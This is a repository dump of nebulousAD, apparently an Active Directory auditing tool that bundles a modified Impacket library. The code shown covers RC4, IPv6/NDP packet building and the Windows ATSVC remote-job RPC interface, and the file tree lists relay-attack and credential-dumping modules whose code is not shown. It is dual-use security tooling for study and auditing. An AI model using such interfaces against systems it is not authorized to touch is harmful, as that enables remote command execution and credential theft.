├── LICENSE-APACHE.md ├── LICENSE-MIT.md ├── README.md ├── nebulousAD ├── __init__.py ├── modimpacket │ ├── Dot11Crypto.py │ ├── Dot11KeyManager.py │ ├── ICMP6.py │ ├── IP6.py │ ├── IP6_Address.py │ ├── IP6_Extension_Headers.py │ ├── ImpactDecoder.py │ ├── ImpactPacket.py │ ├── NDP.py │ ├── __init__.py │ ├── cdp.py │ ├── crypto.py │ ├── dcerpc │ │ ├── __init__.py │ │ └── v5 │ │ │ ├── __init__.py │ │ │ ├── atsvc.py │ │ │ ├── bkrp.py │ │ │ ├── dcom │ │ │ ├── __init__.py │ │ │ ├── comev.py │ │ │ ├── oaut.py │ │ │ ├── scmp.py │ │ │ ├── vds.py │ │ │ └── wmi.py │ │ │ ├── dcomrt.py │ │ │ ├── dhcpm.py │ │ │ ├── drsuapi.py │ │ │ ├── dtypes.py │ │ │ ├── enum.py │ │ │ ├── epm.py │ │ │ ├── even.py │ │ │ ├── even6.py │ │ │ ├── lsad.py │ │ │ ├── lsat.py │ │ │ ├── mgmt.py │ │ │ ├── mimilib.py │ │ │ ├── ndr.py │ │ │ ├── nrpc.py │ │ │ ├── rpcrt.py │ │ │ ├── rprn.py │ │ │ ├── rrp.py │ │ │ ├── samr.py │ │ │ ├── sasec.py │ │ │ ├── scmr.py │ │ │ ├── srvs.py │ │ │ ├── transport.py │ │ │ ├── tsch.py │ │ │ └── wkst.py │ ├── dhcp.py │ ├── dns.py │ ├── dot11.py │ ├── dpapi.py │ ├── eap.py │ ├── ese.py │ ├── examples │ │ ├── __init__.py │ │ ├── logger.py │ │ ├── ntlmrelayx │ │ │ ├── __init__.py │ │ │ ├── attacks │ │ │ │ ├── __init__.py │ │ │ │ ├── httpattack.py │ │ │ │ ├── imapattack.py │ │ │ │ ├── ldapattack.py │ │ │ │ ├── mssqlattack.py │ │ │ │ └── smbattack.py │ │ │ ├── clients │ │ │ │ ├── __init__.py │ │ │ │ ├── httprelayclient.py │ │ │ │ ├── imaprelayclient.py │ │ │ │ ├── ldaprelayclient.py │ │ │ │ ├── mssqlrelayclient.py │ │ │ │ ├── smbrelayclient.py │ │ │ │ └── smtprelayclient.py │ │ │ ├── servers │ │ │ │ ├── __init__.py │ │ │ │ ├── httprelayserver.py │ │ │ │ ├── smbrelayserver.py │ │ │ │ ├── socksplugins │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── http.py │ │ │ │ │ ├── https.py │ │ │ │ │ ├── imap.py │ │ │ │ │ ├── imaps.py │ │ │ │ │ ├── mssql.py │ │ │ │ │ ├── smb.py │ │ │ │ │ └── smtp.py │ │ │ │ └── socksserver.py │ │ │ └── utils │ │ │ │ ├── __init__.py │ │ │ │ ├── config.py │ │ │ │ ├── enum.py │ │ │ │ ├── ssl.py │ │ │ │ ├── targetsutils.py │ │ │ │ └── tcpshell.py │ │ ├── os_ident.py │ │ ├── remcomsvc.py │ │ ├── secretsdump.py │ │ ├── serviceinstall.py │ │ └── smbclient.py │ ├── helper.py │ ├── hresult_errors.py │ ├── krb5 │ │ ├── __init__.py │ │ ├── asn1.py │ │ ├── ccache.py │ │ ├── constants.py │ │ ├── crypto.py │ │ ├── gssapi.py │ │ ├── kerberosv5.py │ │ ├── pac.py │ │ └── types.py │ ├── ldap │ │ ├── __init__.py │ │ ├── ldap.py │ │ ├── ldapasn1.py │ │ └── ldaptypes.py │ ├── mqtt.py │ ├── nmb.py │ ├── nt_errors.py │ ├── ntlm.py │ ├── pcap_linktypes.py │ ├── pcapfile.py │ ├── smb.py │ ├── smb3.py │ ├── smb3structs.py │ ├── smbconnection.py │ ├── smbserver.py │ ├── spnego.py │ ├── structure.py │ ├── system_errors.py │ ├── tds.py │ ├── uuid.py │ ├── version.py │ ├── winregistry.py │ └── wps.py └── nebulousAD.py ├── requirements.txt └── setup.py /LICENSE-MIT.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 NuID, Inc. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /nebulousAD/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NuID/nebulousAD/37a44f131d13f1668a73b61f2444ad93b9e657cc/nebulousAD/__init__.py -------------------------------------------------------------------------------- /nebulousAD/modimpacket/Dot11Crypto.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # IEEE 802.11 Network packet codecs. 9 | # 10 | # Author: 11 | # Gustavo Moreira 12 | 13 | class RC4(): 14 | def __init__(self, key): 15 | j = 0 16 | self.state = range(256) 17 | for i in range(256): 18 | j = (j + self.state[i] + ord(key[i % len(key)])) & 0xff 19 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 20 | 21 | def encrypt(self, data): 22 | i = j = 0 23 | out='' 24 | for char in data: 25 | i = (i+1) & 0xff 26 | j = (j+self.state[i]) & 0xff 27 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 28 | out+=chr(ord(char) ^ self.state[(self.state[i] + self.state[j]) & 0xff]) 29 | 30 | return out 31 | 32 | def decrypt(self, data): 33 | # It's symmetric 34 | return self.encrypt(data) 35 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/Dot11KeyManager.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # IEEE 802.11 Network packet codecs. 9 | # 10 | # Author: 11 | # Gustavo Moreira 12 | 13 | from array import array 14 | class KeyManager: 15 | def __init__(self): 16 | self.keys = {} 17 | 18 | def __get_bssid_hasheable_type(self, bssid): 19 | # List is an unhashable type 20 | if not isinstance(bssid, (list,tuple,array)): 21 | raise Exception('BSSID datatype must be a tuple, list or array') 22 | return tuple(bssid) 23 | 24 | def add_key(self, bssid, key): 25 | bssid=self.__get_bssid_hasheable_type(bssid) 26 | if not bssid in self.keys: 27 | self.keys[bssid] = key 28 | return True 29 | else: 30 | return False 31 | 32 | def replace_key(self, bssid, key): 33 | bssid=self.__get_bssid_hasheable_type(bssid) 34 | self.keys[bssid] = key 35 | 36 | return True 37 | 38 | def get_key(self, bssid): 39 | bssid=self.__get_bssid_hasheable_type(bssid) 40 | if self.keys.has_key(bssid): 41 | return self.keys[bssid] 42 | else: 43 | return False 44 | 45 | def delete_key(self, bssid): 46 | bssid=self.__get_bssid_hasheable_type(bssid) 47 | if not isinstance(bssid, list): 48 | raise Exception('BSSID datatype must be a list') 49 | 50 | if self.keys.has_key(bssid): 51 | del self.keys[bssid] 52 | return True 53 | 54 | return False 55 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/IP6.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | 8 | import struct 9 | import array 10 | 11 | from ImpactPacket import Header 12 | from IP6_Address import IP6_Address 13 | from IP6_Extension_Headers import IP6_Extension_Header 14 | 15 | from nebulousAD.modimpacket import LOG 16 | 17 | 18 | class IP6(Header): 19 | #Ethertype value for IPv6 20 | ethertype = 0x86DD 21 | HEADER_SIZE = 40 22 | IP_PROTOCOL_VERSION = 6 23 | 24 | def __init__(self, buffer = None): 25 | Header.__init__(self, IP6.HEADER_SIZE) 26 | self.set_ip_v(IP6.IP_PROTOCOL_VERSION) 27 | if (buffer): 28 | self.load_header(buffer) 29 | 30 | def contains(self, aHeader): 31 | Header.contains(self, aHeader) 32 | if isinstance(aHeader, IP6_Extension_Header): 33 | self.set_next_header(aHeader.get_header_type()) 34 | 35 | def get_header_size(self): 36 | return IP6.HEADER_SIZE 37 | 38 | def __str__(self): 39 | protocol_version = self.get_ip_v() 40 | traffic_class = self.get_traffic_class() 41 | flow_label = self.get_flow_label() 42 | payload_length = self.get_payload_length() 43 | next_header = self.get_next_header() 44 | hop_limit = self.get_hop_limit() 45 | source_address = self.get_ip_src() 46 | destination_address = self.get_ip_dst() 47 | 48 | s = "Protocol version: " + str(protocol_version) + "\n" 49 | s += "Traffic class: " + str(traffic_class) + "\n" 50 | s += "Flow label: " + str(flow_label) + "\n" 51 | s += "Payload length: " + str(payload_length) + "\n" 52 | s += "Next header: " + str(next_header) + "\n" 53 | s += "Hop limit: " + str(hop_limit) + "\n" 54 | s += "Source address: " + source_address.as_string() + "\n" 55 | s += "Destination address: " + destination_address.as_string() + "\n" 56 | return s 57 | 58 | def get_pseudo_header(self): 59 | source_address = self.get_ip_src().as_bytes() 60 | #FIXME - Handle Routing header special case 61 | destination_address = self.get_ip_dst().as_bytes() 62 | reserved_bytes = [ 0x00, 0x00, 0x00 ] 63 | 64 | upper_layer_packet_length = self.get_payload_length() 65 | upper_layer_protocol_number = self.get_next_header() 66 | 67 | next_header = self.child() 68 | while isinstance(next_header, IP6_Extension_Header): 69 | # The length used in the pseudo-header is the Payload Length from the IPv6 header, minus 70 | # the length of any extension headers present between the IPv6 header and the upper-layer header 71 | upper_layer_packet_length -= next_header.get_header_size() 72 | 73 | # If there are extension headers, fetch the correct upper-player protocol number by traversing the list 74 | upper_layer_protocol_number = next_header.get_next_header() 75 | 76 | next_header = next_header.child() 77 | 78 | pseudo_header = array.array('B') 79 | pseudo_header.extend(source_address) 80 | pseudo_header.extend(destination_address) 81 | pseudo_header.fromstring(struct.pack('!L', upper_layer_packet_length)) 82 | pseudo_header.fromlist(reserved_bytes) 83 | pseudo_header.fromstring(struct.pack('B', upper_layer_protocol_number)) 84 | return pseudo_header 85 | 86 | ############################################################################ 87 | def get_ip_v(self): 88 | return (self.get_byte(0) & 0xF0) >> 4 89 | 90 | def get_traffic_class(self): 91 | return ((self.get_byte(0) & 0x0F) << 4) | ((self.get_byte(1) & 0xF0) >> 4) 92 | 93 | def get_flow_label(self): 94 | return (self.get_byte(1) & 0x0F) << 16 | (self.get_byte(2) << 8) | self.get_byte(3) 95 | 96 | def get_payload_length(self): 97 | return (self.get_byte(4) << 8) | self.get_byte(5) 98 | 99 | def get_next_header(self): 100 | return (self.get_byte(6)) 101 | 102 | def get_hop_limit(self): 103 | return (self.get_byte(7)) 104 | 105 | def get_ip_src(self): 106 | address = IP6_Address(self.get_bytes()[8:24]) 107 | return (address) 108 | 109 | def get_ip_dst(self): 110 | address = IP6_Address(self.get_bytes()[24:40]) 111 | return (address) 112 | 113 | ############################################################################ 114 | def set_ip_v(self, version): 115 | if (version != 6): 116 | raise Exception('set_ip_v - version != 6') 117 | 118 | #Fetch byte, clear high nibble 119 | b = self.get_byte(0) & 0x0F 120 | #Store version number in high nibble 121 | b |= (version << 4) 122 | #Store byte in buffer 123 | #This behaviour is repeated in the rest of the methods 124 | self.set_byte(0, b) 125 | 126 | 127 | def set_traffic_class(self, traffic_class): 128 | b0 = self.get_byte(0) & 0xF0 129 | b1 = self.get_byte(1) & 0x0F 130 | b0 |= (traffic_class & 0xF0) >> 4 131 | b1 |= (traffic_class & 0x0F) << 4 132 | self.set_byte(0, b0) 133 | self.set_byte(1, b1) 134 | 135 | 136 | def set_flow_label(self, flow_label): 137 | b1 = self.get_byte(1) & 0xF0 138 | b1 |= (flow_label & 0xF0000) >> 16 139 | self.set_byte(1, b1) 140 | self.set_byte(2, (flow_label & 0x0FF00) >> 8) 141 | self.set_byte(3, (flow_label & 0x000FF)) 142 | 143 | 144 | def set_payload_length(self, payload_length): 145 | self.set_byte(4, (payload_length & 0xFF00) >> 8) 146 | self.set_byte(5, (payload_length & 0x00FF)) 147 | 148 | 149 | def set_next_header(self, next_header): 150 | self.set_byte(6, next_header) 151 | 152 | def set_hop_limit(self, hop_limit): 153 | self.set_byte(7, hop_limit) 154 | 155 | def set_ip_src(self, source_address): 156 | address = IP6_Address(source_address) 157 | bytes = self.get_bytes() 158 | bytes[8:24] = address.as_bytes() 159 | self.set_bytes(bytes) 160 | 161 | def set_ip_dst(self, destination_address): 162 | address = IP6_Address(destination_address) 163 | bytes = self.get_bytes() 164 | bytes[24:40] = address.as_bytes() 165 | self.set_bytes(bytes) 166 | 167 | def get_protocol_version(self): 168 | LOG.warning('deprecated soon') 169 | return self.get_ip_v() 170 | 171 | def get_source_address(self): 172 | LOG.warning('deprecated soon') 173 | return self.get_ip_src() 174 | 175 | def get_destination_address(self): 176 | LOG.warning('deprecated soon') 177 | return self.get_ip_dst() 178 | 179 | def set_protocol_version(self, version): 180 | LOG.warning('deprecated soon') 181 | self.set_ip_v(version) 182 | 183 | def set_source_address(self, source_address): 184 | LOG.warning('deprecated soon') 185 | self.set_ip_src(source_address) 186 | 187 | def set_destination_address(self, destination_address): 188 | LOG.warning('deprecated soon') 189 | self.set_ip_dst(destination_address) 190 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/NDP.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | 8 | import array 9 | import struct 10 | 11 | from nebulousAD.modimpacket import ImpactPacket 12 | from ICMP6 import ICMP6 13 | 14 | 15 | class NDP(ICMP6): 16 | #ICMP message type numbers 17 | ROUTER_SOLICITATION = 133 18 | ROUTER_ADVERTISEMENT = 134 19 | NEIGHBOR_SOLICITATION = 135 20 | NEIGHBOR_ADVERTISEMENT = 136 21 | REDIRECT = 137 22 | 23 | ############################################################################ 24 | # Append NDP Option helper 25 | 26 | def append_ndp_option(self, ndp_option): 27 | #As NDP inherits ICMP6, it is, in fact an ICMP6 "header" 28 | #The payload (where all NDP options should reside) is a child of the header 29 | self.child().get_bytes().extend(ndp_option.get_bytes()) 30 | 31 | 32 | ############################################################################ 33 | @classmethod 34 | def Router_Solicitation(class_object): 35 | message_data = struct.pack('>L', 0) #Reserved bytes 36 | return class_object.__build_message(NDP.ROUTER_SOLICITATION, message_data) 37 | 38 | @classmethod 39 | def Router_Advertisement(class_object, current_hop_limit, 40 | managed_flag, other_flag, 41 | router_lifetime, reachable_time, retransmission_timer): 42 | flag_byte = 0x00 43 | if (managed_flag): 44 | flag_byte |= 0x80 45 | if (other_flag): 46 | flag_byte |= 0x40 47 | 48 | message_data = struct.pack('>BBHLL', current_hop_limit, flag_byte, router_lifetime, reachable_time, retransmission_timer) 49 | return class_object.__build_message(NDP.ROUTER_ADVERTISEMENT, message_data) 50 | 51 | @classmethod 52 | def Neighbor_Solicitation(class_object, target_address): 53 | message_data = struct.pack('>L', 0) #Reserved bytes 54 | message_data += target_address.as_bytes().tostring() 55 | return class_object.__build_message(NDP.NEIGHBOR_SOLICITATION, message_data) 56 | 57 | 58 | @classmethod 59 | def Neighbor_Advertisement(class_object, router_flag, solicited_flag, override_flag, target_address): 60 | flag_byte = 0x00 61 | if (router_flag): 62 | flag_byte |= 0x80 63 | if (solicited_flag): 64 | flag_byte |= 0x40 65 | if (override_flag): 66 | flag_byte |= 0x20 67 | 68 | message_data = struct.pack('>BBBB', flag_byte, 0x00, 0x00, 0x00) #Flag byte and three reserved bytes 69 | message_data += target_address.as_bytes().tostring() 70 | return class_object.__build_message(NDP.NEIGHBOR_ADVERTISEMENT, message_data) 71 | 72 | 73 | @classmethod 74 | def Redirect(class_object, target_address, destination_address): 75 | message_data = struct.pack('>L', 0)# Reserved bytes 76 | message_data += target_address.as_bytes().tostring() 77 | message_data += destination_address.as_bytes().tostring() 78 | return class_object.__build_message(NDP.REDIRECT, message_data) 79 | 80 | 81 | @classmethod 82 | def __build_message(class_object, type, message_data): 83 | #Build NDP header 84 | ndp_packet = NDP() 85 | ndp_packet.set_type(type) 86 | ndp_packet.set_code(0) 87 | 88 | #Pack payload 89 | ndp_payload = ImpactPacket.Data() 90 | ndp_payload.set_data(message_data) 91 | ndp_packet.contains(ndp_payload) 92 | 93 | return ndp_packet 94 | 95 | 96 | 97 | 98 | class NDP_Option(): 99 | #NDP Option Type numbers 100 | SOURCE_LINK_LAYER_ADDRESS = 1 101 | TARGET_LINK_LAYER_ADDRESS = 2 102 | PREFIX_INFORMATION = 3 103 | REDIRECTED_HEADER = 4 104 | MTU_OPTION = 5 105 | 106 | ############################################################################ 107 | @classmethod 108 | #link_layer_address must have a size that is a multiple of 8 octets 109 | def Source_Link_Layer_Address(class_object, link_layer_address): 110 | return class_object.__Link_Layer_Address(NDP_Option.SOURCE_LINK_LAYER_ADDRESS, link_layer_address) 111 | 112 | @classmethod 113 | #link_layer_address must have a size that is a multiple of 8 octets 114 | def Target_Link_Layer_Address(class_object, link_layer_address): 115 | return class_object.__Link_Layer_Address(NDP_Option.TARGET_LINK_LAYER_ADDRESS, link_layer_address) 116 | 117 | @classmethod 118 | #link_layer_address must have a size that is a multiple of 8 octets 119 | def __Link_Layer_Address(class_object, option_type, link_layer_address): 120 | option_length = (len(link_layer_address) / 8) + 1 121 | option_data = array.array("B", link_layer_address).tostring() 122 | return class_object.__build_option(option_type, option_length, option_data) 123 | 124 | @classmethod 125 | #Note: if we upgraded to Python 2.6, we could use collections.namedtuples for encapsulating the arguments 126 | #ENHANCEMENT - Prefix could be an instance of IP6_Address 127 | def Prefix_Information(class_object, prefix_length, on_link_flag, autonomous_flag, valid_lifetime, preferred_lifetime, prefix): 128 | 129 | flag_byte = 0x00 130 | if (on_link_flag): 131 | flag_byte |= 0x80 132 | if (autonomous_flag): 133 | flag_byte |= 0x40 134 | 135 | option_data = struct.pack('>BBLL', prefix_length, flag_byte, valid_lifetime, preferred_lifetime) 136 | option_data += struct.pack('>L', 0) #Reserved bytes 137 | option_data += array.array("B", prefix).tostring() 138 | option_length = 4 139 | return class_object.__build_option(NDP_Option.PREFIX_INFORMATION, option_length, option_data) 140 | 141 | 142 | @classmethod 143 | def Redirected_Header(class_object, original_packet): 144 | option_data = struct.pack('>BBBBBB', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)# Reserved bytes 145 | option_data += array.array("B", original_packet).tostring() 146 | option_length = (len(option_data) + 4) / 8 147 | return class_object.__build_option(NDP_Option.REDIRECTED_HEADER, option_length, option_data) 148 | 149 | @classmethod 150 | def MTU(class_object, mtu): 151 | option_data = struct.pack('>BB', 0x00, 0x00)# Reserved bytes 152 | option_data += struct.pack('>L', mtu) 153 | option_length = 1 154 | return class_object.__build_option(NDP_Option.MTU_OPTION, option_length, option_data) 155 | 156 | 157 | @classmethod 158 | def __build_option(class_object, type, length, option_data): 159 | #Pack data 160 | data_bytes = struct.pack('>BB', type, length) 161 | data_bytes += option_data 162 | ndp_option = ImpactPacket.Data() 163 | ndp_option.set_data(data_bytes) 164 | 165 | return ndp_option 166 | 167 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2003-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Author: Alberto Solino (@agsolino) 8 | # 9 | 10 | # Set default logging handler to avoid "No handler found" warnings. 11 | import logging 12 | try: # Python 2.7+ 13 | from logging import NullHandler 14 | except ImportError: 15 | class NullHandler(logging.Handler): 16 | def emit(self, record): 17 | pass 18 | 19 | # All modules inside this library MUST use this logger (impacket) 20 | # It is up to the library consumer to do whatever is wanted 21 | # with the logger output. By default it is forwarded to the 22 | # upstream logger 23 | 24 | LOG = logging.getLogger(__name__) 25 | LOG.addHandler(NullHandler()) 26 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/dcerpc/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/dcerpc/v5/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/dcerpc/v5/atsvc.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Author: Alberto Solino (@agsolino) 8 | # 9 | # Description: 10 | # [MS-TSCH] ATSVC Interface implementation 11 | # 12 | # Best way to learn how to use these calls is to grab the protocol standard 13 | # so you understand what the call does, and then read the test case located 14 | # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC 15 | # 16 | # Some calls have helper functions, which makes it even easier to use. 17 | # They are located at the end of this file. 18 | # Helper functions start with "h". 19 | # There are test cases for them too. 20 | # 21 | from nebulousAD.modimpacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray 22 | from nebulousAD.modimpacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL 23 | from nebulousAD.modimpacket import hresult_errors 24 | from nebulousAD.modimpacket.uuid import uuidtup_to_bin 25 | from nebulousAD.modimpacket.dcerpc.v5.rpcrt import DCERPCException 26 | 27 | MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0')) 28 | 29 | class DCERPCSessionError(DCERPCException): 30 | def __init__(self, error_string=None, error_code=None, packet=None): 31 | DCERPCException.__init__(self, error_string, error_code, packet) 32 | 33 | def __str__( self ): 34 | key = self.error_code 35 | if hresult_errors.ERROR_MESSAGES.has_key(key): 36 | error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] 37 | error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] 38 | return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 39 | else: 40 | return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code 41 | 42 | ################################################################################ 43 | # CONSTANTS 44 | ################################################################################ 45 | ATSVC_HANDLE = LPWSTR 46 | # 2.3.1 Constant Values 47 | CNLEN = 15 48 | DNLEN = CNLEN 49 | UNLEN = 256 50 | MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1) 51 | 52 | # 2.3.7 Flags 53 | TASK_FLAG_INTERACTIVE = 0x1 54 | TASK_FLAG_DELETE_WHEN_DONE = 0x2 55 | TASK_FLAG_DISABLED = 0x4 56 | TASK_FLAG_START_ONLY_IF_IDLE = 0x10 57 | TASK_FLAG_KILL_ON_IDLE_END = 0x20 58 | TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40 59 | TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80 60 | TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100 61 | TASK_FLAG_HIDDEN = 0x200 62 | TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400 63 | TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800 64 | TASK_FLAG_SYSTEM_REQUIRED = 0x1000 65 | TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000 66 | 67 | ################################################################################ 68 | # STRUCTURES 69 | ################################################################################ 70 | # 2.3.4 AT_INFO 71 | class AT_INFO(NDRSTRUCT): 72 | structure = ( 73 | ('JobTime',DWORD), 74 | ('DaysOfMonth',DWORD), 75 | ('DaysOfWeek',UCHAR), 76 | ('Flags',UCHAR), 77 | ('Command',LPWSTR), 78 | ) 79 | 80 | class LPAT_INFO(NDRPOINTER): 81 | referent = ( 82 | ('Data',AT_INFO), 83 | ) 84 | 85 | # 2.3.6 AT_ENUM 86 | class AT_ENUM(NDRSTRUCT): 87 | structure = ( 88 | ('JobId',DWORD), 89 | ('JobTime',DWORD), 90 | ('DaysOfMonth',DWORD), 91 | ('DaysOfWeek',UCHAR), 92 | ('Flags',UCHAR), 93 | ('Command',LPWSTR), 94 | ) 95 | 96 | class AT_ENUM_ARRAY(NDRUniConformantArray): 97 | item = AT_ENUM 98 | 99 | class LPAT_ENUM_ARRAY(NDRPOINTER): 100 | referent = ( 101 | ('Data',AT_ENUM_ARRAY), 102 | ) 103 | 104 | # 2.3.5 AT_ENUM_CONTAINER 105 | class AT_ENUM_CONTAINER(NDRSTRUCT): 106 | structure = ( 107 | ('EntriesRead',DWORD), 108 | ('Buffer',LPAT_ENUM_ARRAY), 109 | ) 110 | 111 | ################################################################################ 112 | # RPC CALLS 113 | ################################################################################ 114 | # 3.2.5.2.1 NetrJobAdd (Opnum 0) 115 | class NetrJobAdd(NDRCALL): 116 | opnum = 0 117 | structure = ( 118 | ('ServerName',ATSVC_HANDLE), 119 | ('pAtInfo', AT_INFO), 120 | ) 121 | 122 | class NetrJobAddResponse(NDRCALL): 123 | structure = ( 124 | ('pJobId',DWORD), 125 | ('ErrorCode',ULONG), 126 | ) 127 | 128 | # 3.2.5.2.2 NetrJobDel (Opnum 1) 129 | class NetrJobDel(NDRCALL): 130 | opnum = 1 131 | structure = ( 132 | ('ServerName',ATSVC_HANDLE), 133 | ('MinJobId', DWORD), 134 | ('MaxJobId', DWORD), 135 | ) 136 | 137 | class NetrJobDelResponse(NDRCALL): 138 | structure = ( 139 | ('ErrorCode',ULONG), 140 | ) 141 | 142 | # 3.2.5.2.3 NetrJobEnum (Opnum 2) 143 | class NetrJobEnum(NDRCALL): 144 | opnum = 2 145 | structure = ( 146 | ('ServerName',ATSVC_HANDLE), 147 | ('pEnumContainer', AT_ENUM_CONTAINER), 148 | ('PreferedMaximumLength', DWORD), 149 | ('pResumeHandle', DWORD), 150 | ) 151 | 152 | class NetrJobEnumResponse(NDRCALL): 153 | structure = ( 154 | ('pEnumContainer', AT_ENUM_CONTAINER), 155 | ('pTotalEntries', DWORD), 156 | ('pResumeHandle',LPDWORD), 157 | ('ErrorCode',ULONG), 158 | ) 159 | 160 | # 3.2.5.2.4 NetrJobGetInfo (Opnum 3) 161 | class NetrJobGetInfo(NDRCALL): 162 | opnum = 3 163 | structure = ( 164 | ('ServerName',ATSVC_HANDLE), 165 | ('JobId', DWORD), 166 | ) 167 | 168 | class NetrJobGetInfoResponse(NDRCALL): 169 | structure = ( 170 | ('ppAtInfo', LPAT_INFO), 171 | ('ErrorCode',ULONG), 172 | ) 173 | 174 | ################################################################################ 175 | # OPNUMs and their corresponding structures 176 | ################################################################################ 177 | OPNUMS = { 178 | 0 : (NetrJobAdd,NetrJobAddResponse ), 179 | 1 : (NetrJobDel,NetrJobDelResponse ), 180 | 2 : (NetrJobEnum,NetrJobEnumResponse ), 181 | 3 : (NetrJobGetInfo,NetrJobGetInfoResponse ), 182 | } 183 | 184 | ################################################################################ 185 | # HELPER FUNCTIONS 186 | ################################################################################ 187 | def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL): 188 | netrJobAdd = NetrJobAdd() 189 | netrJobAdd['ServerName'] = serverName 190 | netrJobAdd['pAtInfo'] = atInfo 191 | return dce.request(netrJobAdd) 192 | 193 | def hNetrJobDel(dce, serverName = NULL, minJobId = 0, maxJobId = 0): 194 | netrJobDel = NetrJobDel() 195 | netrJobDel['ServerName'] = serverName 196 | netrJobDel['MinJobId'] = minJobId 197 | netrJobDel['MaxJobId'] = maxJobId 198 | return dce.request(netrJobDel) 199 | 200 | def hNetrJobEnum(dce, serverName = NULL, pEnumContainer = NULL, preferedMaximumLength = 0xffffffff): 201 | netrJobEnum = NetrJobEnum() 202 | netrJobEnum['ServerName'] = serverName 203 | netrJobEnum['pEnumContainer']['Buffer'] = pEnumContainer 204 | netrJobEnum['PreferedMaximumLength'] = preferedMaximumLength 205 | return dce.request(netrJobEnum) 206 | 207 | def hNetrJobGetInfo(dce, serverName = NULL, jobId = 0): 208 | netrJobGetInfo = NetrJobGetInfo() 209 | netrJobGetInfo['ServerName'] = serverName 210 | netrJobGetInfo['JobId'] = jobId 211 | return dce.request(netrJobGetInfo) -------------------------------------------------------------------------------- /nebulousAD/modimpacket/dcerpc/v5/bkrp.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Author: Alberto Solino (@agsolino) 8 | # 9 | # Description: 10 | # [MS-BKRP] Interface implementation 11 | # 12 | # Best way to learn how to use these calls is to grab the protocol standard 13 | # so you understand what the call does, and then read the test case located 14 | # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC 15 | # 16 | # Some calls have helper functions, which makes it even 